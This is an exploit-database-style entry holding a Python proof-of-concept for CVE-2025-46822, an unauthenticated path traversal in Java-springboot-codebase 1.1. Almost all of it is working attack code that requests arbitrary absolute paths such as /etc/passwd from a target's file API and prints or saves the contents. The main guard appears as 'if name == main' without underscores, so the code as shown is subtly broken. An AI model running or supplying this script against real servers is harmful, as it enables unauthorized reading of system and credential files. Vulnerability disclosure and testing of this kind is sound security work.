📄 Java-springboot-codebase 1.1 Arbitrary File Read

# Exploit Title: Java-springboot-codebase 1.1 - Arbitrary File Read
    # Google Dork:
    # Date: 23/May/2025
    # Exploit Author: d3sca
    # Vendor Homepage: https://github.com/OsamaTaher/Java-springboot-codebase
    # Software Link: https://github.com/OsamaTaher/Java-springboot-codebase
    # Version: [app version] 1.1
    # Tested on: Debian Linux
    # CVE : CVE-2025-46822
    
    #usage: python3 cve-2025-46822.py http://victim.com /etc/passwd
    
    import argparse
    import requests
    
    from urllib.parse import quote
    def exploit(target, file_path, output=None):
        # Ensure the file path is absolute
        if not file_path.startswith('/'):
            print("[!] Warning: File path is not absolute. Prepending '/' to make it absolute.")
            file_path = '/' + file_path.lstrip('/')
    
        # URL-encode the file path
        encoded_path = quote(file_path, safe='')
    
        # Construct the target URL
        endpoint = f"/api/v1/files/{encoded_path}"
        url = target.rstrip('/') + endpoint
        print(f"[*] Attempting to retrieve: {file_path}")
        print(f"[*] Sending request to: {url}")
        try:
            response = requests.get(url, allow_redirects=False, timeout=10)
    
            if response.status_code == 200:
                print("[+] File retrieved successfully!")
                if output:
                    with open(output, 'wb') as f:
                        f.write(response.content)
                    print(f"[+] Content saved to: {output}")
                else:
                    print("\nFile contents:")
                    print(response.text)
            else:
                print(f"[-] Failed to retrieve file. Status code: {response.status_code}")
                print(f"[-] Response: {response.text[:200]}")  # Show first 200 chars of response
        except Exception as e:
            print(f"[-] An error occurred: {str(e)}")
    
    if name == "main":
        parser = argparse.ArgumentParser(description="Exploit Path Traversal Vulnerability in Unauthenticated File API")
        parser.add_argument("target", help="Target base URL (e.g., http://victim:8080)")
        parser.add_argument("file_path", help="Absolute path to target file (e.g., /etc/passwd)")
        parser.add_argument("-o", "--output", help="Output file to save contents")
    
        args = parser.parse_args()
    
        exploit(args.target, args.file_path, args.output)